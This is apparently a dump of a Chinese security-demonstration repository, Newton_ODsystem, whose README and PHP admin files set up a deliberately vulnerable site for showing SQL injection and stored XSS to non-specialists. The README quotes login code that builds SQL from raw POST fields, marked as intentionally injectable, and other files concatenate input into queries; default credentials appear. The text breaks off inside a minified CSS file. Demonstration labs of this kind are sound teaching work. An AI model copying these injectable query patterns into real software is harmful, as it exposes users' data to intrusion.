├── LICENSE ├── MD_pic ├── OD连接.PNG ├── logo.png ├── 展示端展示被黑效果.PNG ├── 攻击端连接.PNG ├── 点选动态.gif ├── 牛顿1.PNG ├── 牛顿2.PNG ├── 牛顿3.PNG ├── 牛顿4.PNG ├── 管理系统.PNG └── 邀请码.png ├── README.md ├── 展示端 ├── Adminpanel │ ├── admin.php │ ├── changepwd.php │ ├── conn.php │ ├── css │ │ ├── animate.css │ │ ├── bootstrap.min.css │ │ └── unicorn.login.css │ ├── img │ │ ├── logo.png │ │ └── saturation.png │ ├── loginout.php │ ├── make.php │ └── yaoqingma.php ├── adminpanel.sql ├── af89c2ab0ebed7db │ ├── conn.php │ ├── edit.php │ ├── hack.php │ ├── index.php │ ├── liuyan.php │ ├── makepage.php │ └── style.css ├── index.php ├── show.jpg └── test.sql └── 攻击端 ├── css ├── background.jpg ├── reset.css └── style.css ├── font ├── loginform-icon.eot ├── loginform-icon.svg ├── loginform-icon.ttf └── loginform-icon.woff ├── index.php ├── js ├── index.js ├── paths.js └── prefixfree.min.js ├── put.php ├── put_liuyan.php ├── set.php ├── setting.php └── store.php /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 繁星科技_Wind Punish安全实验室_crown prince 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MD_pic/OD连接.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/OD连接.PNG -------------------------------------------------------------------------------- /MD_pic/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/logo.png -------------------------------------------------------------------------------- /MD_pic/展示端展示被黑效果.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/展示端展示被黑效果.PNG -------------------------------------------------------------------------------- /MD_pic/攻击端连接.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/攻击端连接.PNG -------------------------------------------------------------------------------- /MD_pic/点选动态.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/点选动态.gif -------------------------------------------------------------------------------- /MD_pic/牛顿1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/牛顿1.PNG -------------------------------------------------------------------------------- /MD_pic/牛顿2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/牛顿2.PNG -------------------------------------------------------------------------------- /MD_pic/牛顿3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/牛顿3.PNG -------------------------------------------------------------------------------- /MD_pic/牛顿4.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/牛顿4.PNG -------------------------------------------------------------------------------- /MD_pic/管理系统.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/管理系统.PNG -------------------------------------------------------------------------------- /MD_pic/邀请码.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crown-prince/Newton_ODsystem/8a2b99b905f2054e350f07e1239ac8a6bd21f32e/MD_pic/邀请码.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Newton_ODsystem 2 | 牛顿信息安全攻防展示系统:Newton Offensive and defensive system
3 | 功能概述:攻击端一键完成攻击演示,展示端通过更直接的方式展现黑客攻击威胁,可自主增加相应漏洞
4 | >关于牛顿,我想说的一些话(非干货,可略过):在长亭陈宇森大牛的一篇见闻分享里,我记下了这样的一句话:未来的安全发展,要让不懂安全的人,快速搞清楚负责安全的人做了什么。由此,牛顿项目诞生了,定名为牛顿,是因为众所周知,牛顿是近代物理学的奠基人,因为他对万有引力和三大运动定律的描述,物理学走向了普及,世界加快了发展。希望牛顿项目,也能够继承这份责任,但牛顿项目只是一个小小的凸起点,期待和更多同志们,一起努力,安全任重道远,白帽子的名字,我们来定义。 5 | 6 |
环境:php 7 + mysql + windows 7 |
8 | ### 1.牛顿应用场景: 9 | 10 | - 企业安全部门成员向企业内其他部门成员、领导,展示黑客攻击的威胁,演示漏洞的危害,更好的促进企业安全发展 11 | - 信息安全专业人员,向非相关专业小伙伴展示漏洞的危害,进行信息安全知识科普 12 | - 安全产品销售人员更好的解读“安全”
13 | 14 | ### 2.牛顿界面初览: 15 | 16 | >攻击端(科技感风格): 17 | ![](https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E7%89%9B%E9%A1%BF1.PNG) 18 | 19 | 20 | >展示端提示页面 21 | ![](https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E7%89%9B%E9%A1%BF2.PNG) 22 | 23 | >展示端(偏向企业官方风格): 24 | ![](https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E7%89%9B%E9%A1%BF3.PNG) 25 | ![](https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E7%89%9B%E9%A1%BF4.PNG) 26 | 27 | ---- 28 | 29 | ### 3.牛顿的功能解析: 30 | 31 | 展示端:以合适的可视化效果,展现黑客攻击的后果
32 | *  数据库存储信息、服务器信息统一展示在展示端首页,便于展示端了解相关信息
33 | * 邀请码生成系统(通过邀请码,连接众多独立展示系统与唯一的攻击端系统)
34 | * 各自独立的存在漏洞的展示端页面
35 |
36 | 攻击端:集成式一键模拟黑客攻击
37 | * sql注入演示
38 | * 存储型XSS演示
39 | * 环境配置(实现一个攻击端可以为展示端的多个独立系统,进行展示)
40 | * 自定义功能(可自主增加新的漏洞演示环境于系统中)
41 | 42 | ![](https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/OD%E8%BF%9E%E6%8E%A5.PNG)

43 | 44 | 45 | ### 4.牛顿的安装与配置: 46 | **展示端**:
47 | 为便于叙述,以下假定展示端IP地址为192.168.183.131, 数据库初始用户名、密码为root
48 | 1.将【展示端文件夹】下全部文件复制到php环境根目录中
49 | 2.在数据库中创建test和adminpanel两个数据库,并分别导入test.sql(建立漏洞环境)、adminpanel.sql(生成攻击端与展示端邀请码),之后删除两个数据文件
50 | 3.在Adminpanel/conn.php文件中配置数据库信息,在af89c2ab0ebed7db/conn.php文件中配置数据库信息 (样例如下)
51 | 52 | < 61 | 4.进入http://192.168.183.131/adminpanel/admin.php 管理系统,生成邀请码,初始用户为admin admin登陆码root
62 | 以后可以在管理系统中修改用户信息、多次生成邀请码
63 | ![]( 64 | https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/管理系统.PNG) 65 | ![]( 66 | https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/邀请码.PNG) 67 |
68 | 5.点击生成邀请码,将在展示端网站目录下生成独立的一套漏洞展示文件,假设当前邀请码为xa4yma2DI08gr5ldfK8fhLlAfLe4NI,展示端配置完成
69 | 70 | **攻击端**:
71 | 为便于叙述,以下假定展示端IP地址为192.168.0.103
72 | 1.将【攻击端文件夹】下全部文件复制到php环境根目录中
73 | 2.点击Start、点选环境配置,输入展示端域名/IP地址,以及展示端生成的邀请码之一
74 | ![]( 75 | https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E6%94%BB%E5%87%BB%E7%AB%AF%E8%BF%9E%E6%8E%A5.PNG) 76 | 3.出现配置成功字样,则以成功使攻击端、展示端建立了连接,可以开始相关演示了
77 |
78 | 79 | ### 5.牛顿的使用方式讲解: 80 | 以集成的SQL注入攻击为例: 81 | 展示端的(edit.php)编辑页面,需要登录才可以进编辑,但因为如下代码: 82 | 83 |




"; 88 | exit('非法访问!'); 89 | } 90 | $code = $_POST['code']; 91 | $username = $_POST['user']; //制造SQL注入条件 92 | $password = $_POST['password']; //制造SQL注入条件 93 | 94 | //检测用户名及密码是否正确 95 | $sql = "select * from sqltest where name ='$username' and password ='$password'"; //制造SQL注入条件 96 | $result = mysqli_query($conn, $sql); 97 | 98 | 导致了SQL注入漏洞的存在,攻击端通过(put.php)集成了完成注入、篡改网站页面的漏洞利用代码,通过点击攻击端【突破权限,修改页面】
99 | 按钮将直接完成攻击,通过点击【查看修改效果】按钮可以看到是否攻击成功,展示端(hack.php)页面可以看到已经留下了黑客攻击的信息
100 | 101 | ![](https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E7%82%B9%E9%80%89%E5%8A%A8%E6%80%81.gif) 102 | ![]( 103 | https://github.com/crown-prince/Newton_ODsystem/blob/master/MD_pic/%E5%B1%95%E7%A4%BA%E7%AB%AF%E5%B1%95%E7%A4%BA%E8%A2%AB%E9%BB%91%E6%95%88%E6%9E%9C.PNG)


104 | ### License 105 | 106 | The MIT License.

107 | 108 | Copyright (c) 2017 繁星科技_Wind Punish安全实验室
109 | -------------------------------------------------------------------------------- /展示端/Adminpanel/admin.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | 请勿重复登录! 10 | 11 | 12 |

13 |


14 |
15 |

您已登录,请勿重复登录!邀请码管理

16 | Copyright © 2017.环宇繁星科技有限公司Wind Punish安全实验室 All rights reserved. 17 |
18 | 35 | 36 | '; 37 | exit(); 38 | } 39 | ?> 40 | 41 | 42 | 43 | 44 | 45 | 管理系统 46 | 47 | 48 | 49 | 50 | 51 | 52 |
53 |
54 | 70 | 71 |

登录成功!点击马上跳转

'; 72 | } 73 | else{ 74 | echo'

用户名或密码或登录码输入错误

'; 75 | } 76 | } 77 | else{ 78 | echo'

请先登录

'; 79 | } 80 | ?> 81 |
82 |
83 |
84 | 85 |
86 |
87 |
88 |
89 |
90 |
91 | 92 |
93 |
94 |
95 |
96 |
97 |
98 | 99 |
100 |
101 |
102 |
103 | 104 |
105 |
106 |
107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /展示端/Adminpanel/changepwd.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 修改密码请先登录! 9 | 10 | 11 |

12 |


13 |
14 |

若要修改密码,请先登录

15 | Copyright © 2017.环宇繁星科技有限公司Wind Punish安全实验室 All rights reserved. 16 |
17 | 34 | 35 | '; 36 | exit(); 37 | } ?> 38 | 39 | 40 | 41 | 42 | 43 | 管理系统 44 | 45 | 46 | 47 | 48 | 76 | 77 | 78 | 79 |
80 |
81 | 请不要填写空值!

'; 91 | } 92 | else{ 93 | if ($ipwd1==$ipwd2) { 94 | $isql="update admin set username='$iadmin',password='$ipwd1',dengluma='$idlm' where id='1'"; 95 | if(mysqli_query($conn, $isql)){ 96 | session_destroy(); 97 | echo' 98 | 99 |

修改成功!请重新登录

'; 100 | } 101 | else{ 102 | echo'

数据修改失败!

'; 103 | } 104 | } 105 | else{ 106 | echo'

两次密码输入不一致!

'; 107 | } 108 | } 109 | } 110 | 111 | 112 | ?> 113 |

114 |
115 |
116 |
117 | 118 |
119 |
120 |
121 |
122 |
123 |
124 | 125 |
126 |
127 |
128 |
129 |
130 |
131 | 132 |
133 |
134 |
135 |
136 |
137 |
138 | 139 |
140 |
141 |
142 |
143 | 144 |
145 |
146 |
147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /展示端/Adminpanel/conn.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /展示端/Adminpanel/css/animate.css: -------------------------------------------------------------------------------- 1 | @-webkit-keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translateY(20px);}100%{opacity:1;-webkit-transform:translateY(0);}}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);}100%{opacity:0;-webkit-transform:translateY(-20px);}}@-webkit-keyframes fadeInDown{0%{opacity:0;-webkit-transform:translateY(-20px);}100%{opacity:1;-webkit-transform:translateY(0);}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);}100%{opacity:0;-webkit-transform:translateY(20px);}}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(20px);}100%{opacity:1;-webkit-transform:translateX(0);}}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);}100%{opacity:0;-webkit-transform:translateX(-20px);}}@-webkit-keyframes fadeInLeft{0%{opacity:0;-webkit-transform:translateX(-20px);}100%{opacity:1;-webkit-transform:translateX(0);}}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);}100%{opacity:0;-webkit-transform:translateX(20px);}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);}100%{opacity:1;-webkit-transform:translateY(0);}}@-webkit-keyframes fadeOutUpBig{0%{opacity:1;-webkit-transform:translateY(0);}100%{opacity:0;-webkit-transform:translateY(-2000px);}}@-webkit-keyframes fadeInDownBig{0%{opacity:0;-webkit-transform:translateY(-2000px);}100%{opacity:1;-webkit-transform:translateY(0);}}@-webkit-keyframes fadeOutDownBig{0%{opacity:1;-webkit-transform:translateY(0);}100%{opacity:0;-webkit-transform:translateY(2000px);}}@-webkit-keyframes fadeInRightBig{0%{opacity:0;-webkit-transform:translateX(2000px);}100%{opacity:1;-webkit-transform:translateX(0);}}@-webkit-keyframes fadeOutLeftBig{0%{opacity:1;-webkit-transform:translateX(0);}100%{opacity:0;-webkit-transform:translateX(-2000px);}}@-webkit-keyframes fadeInLeftBig{0%{opacity:0;-webkit-transform:translateX(-2000px);}100%{opacity:1;-webkit-transform:translateX(0);}}@-webkit-keyframes fadeOutRightBig{0%{opacity:1;-webkit-transform:translateX(0);}100%{opacity:0;-webkit-transform:translateX(2000px);}}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.3);}50%{opacity:1;-webkit-transform:scale(1.05);}70%{-webkit-transform:scale(.9);}100%{-webkit-transform:scale(1);}}@-webkit-keyframes bounceInDown{0%{opacity:0;-webkit-transform:translateY(-2000px);}60%{opacity:1;-webkit-transform:translateY(30px);}80%{-webkit-transform:translateY(-10px);}100%{-webkit-transform:translateY(0);}}@-webkit-keyframes bounceInUp{0%{opacity:0;-webkit-transform:translateY(2000px);}60%{opacity:1;-webkit-transform:translateY(-30px);}80%{-webkit-transform:translateY(10px);}100%{-webkit-transform:translateY(0);}}@-webkit-keyframes bounceInRight{0%{opacity:0;-webkit-transform:translateX(2000px);}60%{opacity:1;-webkit-transform:translateX(-30px);}80%{-webkit-transform:translateX(10px);}100%{-webkit-transform:translateX(0);}}@-webkit-keyframes bounceInLeft{0%{opacity:0;-webkit-transform:translateX(-2000px);}60%{opacity:1;-webkit-transform:translateX(30px);}80%{-webkit-transform:translateX(-10px);}100%{-webkit-transform:translateX(0);}}@-webkit-keyframes bounceOut{0%{-webkit-transform:scale(1);}25%{-webkit-transform:scale(.95);}50%{opacity:1;-webkit-transform:scale(1.1);}100%{opacity:0;-webkit-transform:scale(.3);}}@-webkit-keyframes bounceOutUp{0%{-webkit-transform:translateY(0);}20%{opacity:1;-webkit-transform:translateY(20px);}100%{opacity:0;-webkit-transform:translateY(-2000px);}}@-webkit-keyframes bounceOutDown{0%{-webkit-transform:translateY(0);}20%{opacity:1;-webkit-transform:translateY(-20px);}100%{opacity:0;-webkit-transform:translateY(2000px);}}@-webkit-keyframes bounceOutLeft{0%{-webkit-transform:translateX(0);}20%{opacity:1;-webkit-transform:translateX(20px);}100%{opacity:0;-webkit-transform:translateX(-2000px);}}@-webkit-keyframes bounceOutRight{0%{-webkit-transform:translateX(0);}20%{opacity:1;-webkit-transform:translateX(-20px);}100%{opacity:0;-webkit-transform:translateX(2000px);}}@-webkit-keyframes flash{0%{opacity:1;}25%{opacity:0;}50%{opacity:1;}75%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes bounce{0%{-webkit-transform:translateY(0);}20%{-webkit-transform:translateY(0);}40%{-webkit-transform:translateY(-30px);}50%{-webkit-transform:translateY(0);}60%{-webkit-transform:translateY(-15px);}80%{-webkit-transform:translateY(0);}100%{-webkit-transform:translateY(0);}}@-webkit-keyframes shake{0%{-webkit-transform:translateX(0);}10%{-webkit-transform:translateX(-10px);}20%{-webkit-transform:translateX(10px);}30%{-webkit-transform:translateX(-10px);}40%{-webkit-transform:translateX(10px);}50%{-webkit-transform:translateX(-10px);}60%{-webkit-transform:translateX(10px);}70%{-webkit-transform:translateX(-10px);}80%{-webkit-transform:translateX(10px);}90%{-webkit-transform:translateX(-10px);}100%{-webkit-transform:translateX(0);}}@-webkit-keyframes rotateInDownLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(-90deg);opacity:0;}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1;}}@-webkit-keyframes rotateInUpLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(90deg);opacity:0;}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1;}}@-webkit-keyframes rotateInUpRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(-90deg);opacity:0;}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1;}}@-webkit-keyframes rotateInDownRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(90deg);opacity:0;}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1;}}@-webkit-keyframes rotateOutDownLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1;}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(90deg);opacity:0;}}@-webkit-keyframes rotateOutUpLeft{0%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(0);opacity:1;}100%{-webkit-transform-origin:left bottom;-webkit-transform:rotate(-90deg);opacity:0;}}@-webkit-keyframes rotateOutDownRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1;}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(-90deg);opacity:0;}}@-webkit-keyframes rotateOutUpRight{0%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(0);opacity:1;}100%{-webkit-transform-origin:right bottom;-webkit-transform:rotate(90deg);opacity:0;}}@-webkit-keyframes rotateIn{0%{-webkit-transform-origin:center center;-webkit-transform:rotate(-200deg);opacity:0;}100%{-webkit-transform-origin:center center;-webkit-transform:rotate(0);opacity:1;}}@-webkit-keyframes rotateOut{0%{-webkit-transform-origin:center center;-webkit-transform:rotate(0);opacity:1;}100%{-webkit-transform-origin:center center;-webkit-transform:rotate(200deg);opacity:0;}}@-webkit-keyframes tada{0%{-webkit-transform:scale(1);}10%{-webkit-transform:scale(0.9) rotate(-3deg);}20%{-webkit-transform:scale(0.9) rotate(-3deg);}30%{-webkit-transform:scale(1.1) rotate(3deg);}40%{-webkit-transform:scale(1.1) rotate(-3deg);}50%{-webkit-transform:scale(1.1) rotate(3deg);}60%{-webkit-transform:scale(1.1) rotate(-3deg);}70%{-webkit-transform:scale(1.1) rotate(3deg);}80%{-webkit-transform:scale(1.1) rotate(-3deg);}90%{-webkit-transform:scale(1.1) rotate(3deg);}100%{-webkit-transform:scale(1) rotate(0);}}@-moz-keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@-moz-keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@-moz-keyframes fadeInUp{0%{opacity:0;-moz-transform:translateY(20px);}100%{opacity:1;-moz-transform:translateY(0);}}@-moz-keyframes fadeOutUp{0%{opacity:1;-moz-transform:translateY(0);}100%{opacity:0;-moz-transform:translateY(-20px);}}@-moz-keyframes fadeInDown{0%{opacity:0;-moz-transform:translateY(-20px);}100%{opacity:1;-moz-transform:translateY(0);}}@-moz-keyframes fadeOutDown{0%{opacity:1;-moz-transform:translateY(0);}100%{opacity:0;-moz-transform:translateY(20px);}}@-moz-keyframes fadeInRight{0%{opacity:0;-moz-transform:translateX(20px);}100%{opacity:1;-moz-transform:translateX(0);}}@-moz-keyframes fadeOutLeft{0%{opacity:1;-moz-transform:translateX(0);}100%{opacity:0;-moz-transform:translateX(-20px);}}@-moz-keyframes fadeInLeft{0%{opacity:0;-moz-transform:translateX(-20px);}100%{opacity:1;-moz-transform:translateX(0);}}@-moz-keyframes fadeOutRight{0%{opacity:1;-moz-transform:translateX(0);}100%{opacity:0;-moz-transform:translateX(20px);}}@-moz-keyframes fadeInUpBig{0%{opacity:0;-moz-transform:translateY(2000px);}100%{opacity:1;-moz-transform:translateY(0);}}@-moz-keyframes fadeOutUpBig{0%{opacity:1;-moz-transform:translateY(0);}100%{opacity:0;-moz-transform:translateY(-2000px);}}@-moz-keyframes fadeInDownBig{0%{opacity:0;-moz-transform:translateY(-2000px);}100%{opacity:1;-moz-transform:translateY(0);}}@-moz-keyframes fadeOutDownBig{0%{opacity:1;-moz-transform:translateY(0);}100%{opacity:0;-moz-transform:translateY(2000px);}}@-moz-keyframes fadeInRightBig{0%{opacity:0;-moz-transform:translateX(2000px);}100%{opacity:1;-moz-transform:translateX(0);}}@-moz-keyframes fadeOutLeftBig{0%{opacity:1;-moz-transform:translateX(0);}100%{opacity:0;-moz-transform:translateX(-2000px);}}@-moz-keyframes fadeInLeftBig{0%{opacity:0;-moz-transform:translateX(-2000px);}100%{opacity:1;-moz-transform:translateX(0);}}@-moz-keyframes fadeOutRightBig{0%{opacity:1;-moz-transform:translateX(0);}100%{opacity:0;-moz-transform:translateX(2000px);}}@-moz-keyframes bounceIn{0%{opacity:0;-moz-transform:scale(.3);}50%{opacity:1;-moz-transform:scale(1.05);}70%{-moz-transform:scale(.9);}100%{-moz-transform:scale(1);}}@-moz-keyframes bounceInDown{0%{opacity:0;-moz-transform:translateY(-2000px);}60%{opacity:1;-moz-transform:translateY(30px);}80%{-moz-transform:translateY(-10px);}100%{-moz-transform:translateY(0);}}@-moz-keyframes bounceInUp{0%{opacity:0;-moz-transform:translateY(2000px);}60%{opacity:1;-moz-transform:translateY(-30px);}80%{-moz-transform:translateY(10px);}100%{-moz-transform:translateY(0);}}@-moz-keyframes bounceInRight{0%{opacity:0;-moz-transform:translateX(2000px);}60%{opacity:1;-moz-transform:translateX(-30px);}80%{-moz-transform:translateX(10px);}100%{-moz-transform:translateX(0);}}@-moz-keyframes bounceInLeft{0%{opacity:0;-moz-transform:translateX(-2000px);}60%{opacity:1;-moz-transform:translateX(30px);}80%{-moz-transform:translateX(-10px);}100%{-moz-transform:translateX(0);}}@-moz-keyframes bounceOut{0%{-moz-transform:scale(1);}25%{-moz-transform:scale(.95);}50%{opacity:1;-moz-transform:scale(1.1);}100%{opacity:0;-moz-transform:scale(.3);}}@-moz-keyframes bounceOutUp{0%{-moz-transform:translateY(0);}20%{opacity:1;-moz-transform:translateY(20px);}100%{opacity:0;-moz-transform:translateY(-2000px);}}@-moz-keyframes bounceOutDown{0%{-moz-transform:translateY(0);}20%{opacity:1;-moz-transform:translateY(-20px);}100%{opacity:0;-moz-transform:translateY(2000px);}}@-moz-keyframes bounceOutLeft{0%{-moz-transform:translateX(0);}20%{opacity:1;-moz-transform:translateX(20px);}100%{opacity:0;-moz-transform:translateX(-2000px);}}@-moz-keyframes bounceOutRight{0%{-moz-transform:translateX(0);}20%{opacity:1;-moz-transform:translateX(-20px);}100%{opacity:0;-moz-transform:translateX(2000px);}}@-moz-keyframes flash{0%{opacity:1;}25%{opacity:0;}50%{opacity:1;}75%{opacity:0;}100%{opacity:1;}}@-moz-keyframes bounce{0%{-moz-transform:translateY(0);}20%{-moz-transform:translateY(0);}40%{-moz-transform:translateY(-30px);}50%{-moz-transform:translateY(0);}60%{-moz-transform:translateY(-15px);}80%{-moz-transform:translateY(0);}100%{-moz-transform:translateY(0);}}@-moz-keyframes shake{0%{-moz-transform:translateX(0);}10%{-moz-transform:translateX(-10px);}20%{-moz-transform:translateX(10px);}30%{-moz-transform:translateX(-10px);}40%{-moz-transform:translateX(10px);}50%{-moz-transform:translateX(-10px);}60%{-moz-transform:translateX(10px);}70%{-moz-transform:translateX(-10px);}80%{-moz-transform:translateX(10px);}90%{-moz-transform:translateX(-10px);}100%{-moz-transform:translateX(0);}}@-moz-keyframes rotateInDownLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(-90deg);opacity:0;}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1;}}@-moz-keyframes rotateInUpLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(90deg);opacity:0;}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1;}}@-moz-keyframes rotateInUpRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(-90deg);opacity:0;}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1;}}@-moz-keyframes rotateInDownRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(90deg);opacity:0;}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1;}}@-moz-keyframes rotateOutDownLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1;}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(90deg);opacity:0;}}@-moz-keyframes rotateOutUpLeft{0%{-moz-transform-origin:left bottom;-moz-transform:rotate(0);opacity:1;}100%{-moz-transform-origin:left bottom;-moz-transform:rotate(-90deg);opacity:0;}}@-moz-keyframes rotateOutDownRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1;}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(-90deg);opacity:0;}}@-moz-keyframes rotateOutUpRight{0%{-moz-transform-origin:right bottom;-moz-transform:rotate(0);opacity:1;}100%{-moz-transform-origin:right bottom;-moz-transform:rotate(90deg);opacity:0;}}@-moz-keyframes rotateIn{0%{-moz-transform-origin:center center;-moz-transform:rotate(-200deg);opacity:0;}100%{-moz-transform-origin:center center;-moz-transform:rotate(0);opacity:1;}}@-moz-keyframes rotateOut{0%{-moz-transform-origin:center center;-moz-transform:rotate(0);opacity:1;}100%{-moz-transform-origin:center center;-moz-transform:rotate(200deg);opacity:0;}}@-moz-keyframes tada{0%{-moz-transform:scale(1);}10%{-moz-transform:scale(0.9) rotate(-3deg);}20%{-moz-transform:scale(0.9) rotate(-3deg);}30%{-moz-transform:scale(1.1) rotate(3deg);}40%{-moz-transform:scale(1.1) rotate(-3deg);}50%{-moz-transform:scale(1.1) rotate(3deg);}60%{-moz-transform:scale(1.1) rotate(-3deg);}70%{-moz-transform:scale(1.1) rotate(3deg);}80%{-moz-transform:scale(1.1) rotate(-3deg);}90%{-moz-transform:scale(1.1) rotate(3deg);}100%{-moz-transform:scale(1) rotate(0);}}@-ms-keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@-ms-keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@-ms-keyframes fadeInUp{0%{opacity:0;-ms-transform:translateY(20px);}100%{opacity:1;-ms-transform:translateY(0);}}@-ms-keyframes fadeOutUp{0%{opacity:1;-ms-transform:translateY(0);}100%{opacity:0;-ms-transform:translateY(-20px);}}@-ms-keyframes fadeInDown{0%{opacity:0;-ms-transform:translateY(-20px);}100%{opacity:1;-ms-transform:translateY(0);}}@-ms-keyframes fadeOutDown{0%{opacity:1;-ms-transform:translateY(0);}100%{opacity:0;-ms-transform:translateY(20px);}}@-ms-keyframes fadeInRight{0%{opacity:0;-ms-transform:translateX(20px);}100%{opacity:1;-ms-transform:translateX(0);}}@-ms-keyframes fadeOutLeft{0%{opacity:1;-ms-transform:translateX(0);}100%{opacity:0;-ms-transform:translateX(-20px);}}@-ms-keyframes fadeInLeft{0%{opacity:0;-ms-transform:translateX(-20px);}100%{opacity:1;-ms-transform:translateX(0);}}@-ms-keyframes fadeOutRight{0%{opacity:1;-ms-transform:translateX(0);}100%{opacity:0;-ms-transform:translateX(20px);}}@-ms-keyframes fadeInUpBig{0%{opacity:0;-ms-transform:translateY(2000px);}100%{opacity:1;-ms-transform:translateY(0);}}@-ms-keyframes fadeOutUpBig{0%{opacity:1;-ms-transform:translateY(0);}100%{opacity:0;-ms-transform:translateY(-2000px);}}@-ms-keyframes 